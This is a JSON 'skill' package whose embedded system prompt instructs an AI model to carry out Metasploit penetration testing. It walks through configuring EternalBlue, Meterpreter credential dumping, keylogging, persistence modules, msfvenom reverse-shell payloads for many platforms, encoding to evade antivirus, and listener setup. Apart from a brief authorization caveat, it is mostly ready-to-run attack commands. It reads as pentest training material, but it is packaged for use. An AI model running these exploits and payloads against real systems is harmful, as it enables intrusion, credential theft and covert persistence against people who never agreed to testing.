{
  "schema": "https://ai-atoms.com/schemas/skill-v1.json",
  "type": "skill",
  "id": "skill/metasploit-framework",
  "version": "1.0.0",
  "name": "Metasploit Framework",
  "description": "This skill should be used when the user asks to \"use Metasploit for penetration testing\", \"exploit vulnerabilities with msfconsole\", \"create payloads with msfvenom\", \"perform post-exp...",
  "system_prompt_fragment": "# Metasploit Framework\n\n## Purpose\n\nLeverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.\n\n## Prerequisites\n\n### Required Tools\n```bash\n# Metasploit comes pre-installed on Kali Linux\n# For other systems:\ncurl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall\nchmod 755 msfinstall\n./msfinstall\n\n# Start PostgreSQL for database support\nsudo systemctl start postgresql\nsudo msfdb init\n```\n\n### Required Knowledge\n- Network and system fundamentals\n- Understanding of vulnerabilities and exploits\n- Basic programming concepts\n- Target enumeration techniques\n\n### Required Access\n- Written authorization for testing\n- Network access to target systems\n- Understanding of scope and rules of engagement\n\n## Outputs and Deliverables\n\n1. **Exploitation Evidence** - Screenshots and logs of successful compromises\n2. **Session Logs** - Command history and extracted data\n3. **Vulnerability Mapping** - Exploited vulnerabilities with CVE references\n4. **Post-Exploitation Artifacts** - Credentials, files, and system information\n\n## Core Workflow\n\n### Phase 1: MSFConsole Basics\n\nLaunch and navigate the Metasploit console:\n\n```bash\n# Start msfconsole\nmsfconsole\n\n# Quiet mode (skip banner)\nmsfconsole -q\n\n# Basic navigation commands\nmsf6 > help                    # Show all commands\nmsf6 > search [term]           # Search modules\nmsf6 > use [module]            # Select module\nmsf6 > info                    # Show module details\nmsf6 > show options            # Display required options\nmsf6 > set [OPTION] [value]    # Configure option\nmsf6 > run / exploit           # Execute module\nmsf6 > back                    # Return to main console\nmsf6 > exit                    # Exit msfconsole\n```\n\n### Phase 2: Module Types\n\nUnderstand the different module categories:\n\n```bash\n# 1. Exploit Modules - Target specific vulnerabilities\nmsf6 > show exploits\nmsf6 > use exploit/windows/smb/ms17_010_eternalblue\n\n# 2. Payload Modules - Code executed after exploitation\nmsf6 > show payloads\nmsf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp\n\n# 3. Auxiliary Modules - Scanning, fuzzing, enumeration\nmsf6 > show auxiliary\nmsf6 > use auxiliary/scanner/smb/smb_version\n\n# 4. Post-Exploitation Modules - Actions after compromise\nmsf6 > show post\nmsf6 > use post/windows/gather/hashdump\n\n# 5. Encoders - Obfuscate payloads\nmsf6 > show encoders\nmsf6 > set ENCODER x86/shikata_ga_nai\n\n# 6. Nops - No-operation padding for buffer overflows\nmsf6 > show nops\n\n# 7. Evasion - Bypass security controls\nmsf6 > show evasion\n```\n\n### Phase 3: Searching for Modules\n\nFind appropriate modules for targets:\n\n```bash\n# Search by name\nmsf6 > search eternalblue\n\n# Search by CVE\nmsf6 > search cve:2017-0144\n\n# Search by platform\nmsf6 > search platform:windows type:exploit\n\n# Search by type and keyword\nmsf6 > search type:auxiliary smb\n\n# Filter by rank (excellent, great, good, normal, average, low, manual)\nmsf6 > search rank:excellent\n\n# Combined search\nmsf6 > search type:exploit platform:linux apache\n\n# View search results columns:\n# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description\n```\n\n### Phase 4: Configuring Exploits\n\nSet up an exploit for execution:\n\n```bash\n# Select exploit module\nmsf6 > use exploit/windows/smb/ms17_010_eternalblue\n\n# View required options\nmsf6 exploit(windows/smb/ms17_010_eternalblue) > show options\n\n# Set target host\nmsf6 exploit(...) > set RHOSTS 192.168.1.100\n\n# Set target port (if different from default)\nmsf6 exploit(...) > set RPORT 445\n\n# View compatible payloads\nmsf6 exploit(...) > show payloads\n\n# Set payload\nmsf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp\n\n# Set local host for reverse connection\nmsf6 exploit(...) > set LHOST 192.168.1.50\nmsf6 exploit(...) > set LPORT 4444\n\n# View all options again to verify\nmsf6 exploit(...) > show options\n\n# Check if target is vulnerable (if supported)\nmsf6 exploit(...) > check\n\n# Execute exploit\nmsf6 exploit(...) > exploit\n# or\nmsf6 exploit(...) > run\n```\n\n### Phase 5: Payload Types\n\nSelect appropriate payload for the situation:\n\n```bash\n# Singles - Self-contained, no staging\nwindows/shell_reverse_tcp\nlinux/x86/shell_bind_tcp\n\n# Stagers - Small payload that downloads larger stage\nwindows/meterpreter/reverse_tcp\nlinux/x86/meterpreter/bind_tcp\n\n# Stages - Downloaded by stager, provides full functionality\n# Meterpreter, VNC, shell\n\n# Payload naming convention:\n# [platform]/[architecture]/[payload_type]/[connection_type]\n# Examples:\nwindows/x64/meterpreter/reverse_tcp\nlinux/x86/shell/bind_tcp\nphp/meterpreter/reverse_tcp\njava/meterpreter/reverse_https\nandroid/meterpreter/reverse_tcp\n```\n\n### Phase 6: Meterpreter Session\n\nWork with Meterpreter post-exploitation:\n\n```bash\n# After successful exploitation, you get Meterpreter prompt\nmeterpreter >\n\n# System Information\nmeterpreter > sysinfo\nmeterpreter > getuid\nmeterpreter > getpid\n\n# File System Operations\nmeterpreter > pwd\nmeterpreter > ls\nmeterpreter > cd C:\\\\Users\nmeterpreter > download file.txt /tmp/\nmeterpreter > upload /tmp/tool.exe C:\\\\\n\n# Process Management\nmeterpreter > ps\nmeterpreter > migrate [PID]\nmeterpreter > kill [PID]\n\n# Networking\nmeterpreter > ipconfig\nmeterpreter > netstat\nmeterpreter > route\nmeterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1\n\n# Privilege Escalation\nmeterpreter > getsystem\nmeterpreter > getprivs\n\n# Credential Harvesting\nmeterpreter > hashdump\nmeterpreter > run post/windows/gather/credentials/credential_collector\n\n# Screenshots and Keylogging\nmeterpreter > screenshot\nmeterpreter > keyscan_start\nmeterpreter > keyscan_dump\nmeterpreter > keyscan_stop\n\n# Shell Access\nmeterpreter > shell\nC:\\Windows\\system32> whoami\nC:\\Windows\\system32> exit\nmeterpreter >\n\n# Background Session\nmeterpreter > background\nmsf6 exploit(...) > sessions -l\nmsf6 exploit(...) > sessions -i 1\n```\n\n### Phase 7: Auxiliary Modules\n\nUse auxiliary modules for reconnaissance:\n\n```bash\n# SMB Version Scanner\nmsf6 > use auxiliary/scanner/smb/smb_version\nmsf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24\nmsf6 auxiliary(...) > run\n\n# Port Scanner\nmsf6 > use auxiliary/scanner/portscan/tcp\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > set PORTS 1-1000\nmsf6 auxiliary(...) > run\n\n# SSH Version Scanner\nmsf6 > use auxiliary/scanner/ssh/ssh_version\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.0/24\nmsf6 auxiliary(...) > run\n\n# FTP Anonymous Login\nmsf6 > use auxiliary/scanner/ftp/anonymous\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > run\n\n# HTTP Directory Scanner\nmsf6 > use auxiliary/scanner/http/dir_scanner\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > run\n\n# Brute Force Modules\nmsf6 > use auxiliary/scanner/ssh/ssh_login\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt\nmsf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt\nmsf6 auxiliary(...) > run\n```\n\n### Phase 8: Post-Exploitation Modules\n\nRun post modules on active sessions:\n\n```bash\n# List sessions\nmsf6 > sessions -l\n\n# Run post module on specific session\nmsf6 > use post/windows/gather/hashdump\nmsf6 post(windows/gather/hashdump) > set SESSION 1\nmsf6 post(...) > run\n\n# Or run directly from Meterpreter\nmeterpreter > run post/windows/gather/hashdump\n\n# Common Post Modules\n# Credential Gathering\npost/windows/gather/credentials/credential_collector\npost/windows/gather/lsa_secrets\npost/windows/gather/cachedump\npost/multi/gather/ssh_creds\n\n# System Enumeration\npost/windows/gather/enum_applications\npost/windows/gather/enum_logged_on_users\npost/windows/gather/enum_shares\npost/linux/gather/enum_configs\n\n# Privilege Escalation\npost/windows/escalate/getsystem\npost/multi/recon/local_exploit_suggester\n\n# Persistence\npost/windows/manage/persistence_exe\npost/linux/manage/sshkey_persistence\n\n# Pivoting\npost/multi/manage/autoroute\n```\n\n### Phase 9: Payload Generation with msfvenom\n\nCreate standalone payloads:\n\n```bash\n# Basic Windows reverse shell\nmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe\n\n# Linux reverse shell\nmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf\n\n# PHP reverse shell\nmsfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php\n\n# Python reverse shell\nmsfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py\n\n# PowerShell payload\nmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1\n\n# ASP web shell\nmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp\n\n# WAR file (Tomcat)\nmsfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war\n\n# Android APK\nmsfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk\n\n# Encoded payload (evade AV)\nmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe\n\n# List available formats\nmsfvenom --list formats\n\n# List available encoders\nmsfvenom --list encoders\n```\n\n### Phase 10: Setting Up Handlers\n\nConfigure listener for incoming connections:\n\n```bash\n# Manual handler setup\nmsf6 > use exploit/multi/handler\nmsf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp\nmsf6 exploit(multi/handler) > set LHOST 192.168.1.50\nmsf6 exploit(multi/handler) > set LPORT 4444\nmsf6 exploit(multi/handler) > exploit -j\n\n# The -j flag runs as background job\nmsf6 > jobs -l\n\n# When payload executes on target, session opens\n[*] Meterpreter session 1 opened\n\n# Interact with session\nmsf6 > sessions -i 1\n```\n\n## Quick Reference\n\n### Essential MSFConsole Commands\n\n| Command | Description |\n|---------|-------------|\n| `search [term]` | Search for modules |\n| `use [module]` | Select a module |\n| `info` | Display module information |\n| `show options` | Show configurable options |\n| `set [OPT] [val]` | Set option value |\n| `setg [OPT] [val]` | Set global option |\n| `run` / `exploit` | Execute module |\n| `check` | Verify target vulnerability |\n| `back` | Deselect module |\n| `sessions -l` | List active sessions |\n| `sessions -i [N]` | Interact with session |\n| `jobs -l` | List background jobs |\n| `db_nmap` | Run nmap with database |\n\n### Meterpreter Essential Commands\n\n| Command | Description |\n|---------|-------------|\n| `sysinfo` | System information |\n| `getuid` | Current user |\n| `getsystem` | Attempt privilege escalation |\n| `hashdump` | Dump password hashes |\n| `shell` | Drop to system shell |\n| `upload/download` | File transfer |\n| `screenshot` | Capture screen |\n| `keyscan_start` | Start keylogger |\n| `migrate [PID]` | Move to another process |\n| `background` | Background session |\n| `portfwd` | Port forwarding |\n\n### Common Exploit Modules\n\n```bash\n# Windows\nexploit/windows/smb/ms17_010_eternalblue\nexploit/windows/smb/ms08_067_netapi\nexploit/windows/http/iis_webdav_upload_asp\nexploit/windows/local/bypassuac\n\n# Linux\nexploit/linux/ssh/sshexec\nexploit/linux/local/overlayfs_priv_esc\nexploit/multi/http/apache_mod_cgi_bash_env_exec\n\n# Web Applications\nexploit/multi/http/tomcat_mgr_upload\nexploit/unix/webapp/wp_admin_shell_upload\nexploit/multi/http/jenkins_script_console\n```\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only use on systems you own or have written authorization to test\n- Document all testing activities\n- Follow rules of engagement\n- Report all findings to appropriate parties\n\n### Technical Limitations\n- Modern AV/EDR may detect Metasploit payloads\n- Some exploits require specific target configurations\n- Firewall rules may block reverse connections\n- Not all exploits work on all target versions\n\n### Operational Security\n- Use encrypted channels (reverse_https) when possible\n- Clean up artifacts after testing\n- Avoid detection by monitoring systems\n- Limit post-exploitation to agreed scope\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |\n| Exploit fails/no session | Run `check`; verify payload architecture; check firewall; try different payloads |\n| Session dies immediately | Migrate to stable process; use stageless payload; check AV; use AutoRunScript |\n| Payload detected by AV | Use encoding `-e x86/shikata_ga_nai -i 10`; use evasion modules; custom templates |\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.",
  "applicable_domains": [
    "other"
  ],
  "category": "other",
  "invocation": [
    "/metasploit-framework"
  ],
  "authored_by": "claudeskills.in community",
  "source_url": "https://claudeskills.in/skill/metasploit-framework",
  "provenance": {
    "source": "claudeskills.in",
    "source_url": "https://claudeskills.in/skill/metasploit-framework",
    "license": "unknown",
    "imported_at": "2026-09-03",
    "notes": "Aggregated by claudeskills.in from community GitHub lists."
  },
  "tags": [
    "claudeskills",
    "other"
  ],
  "lifecycle": "draft"
}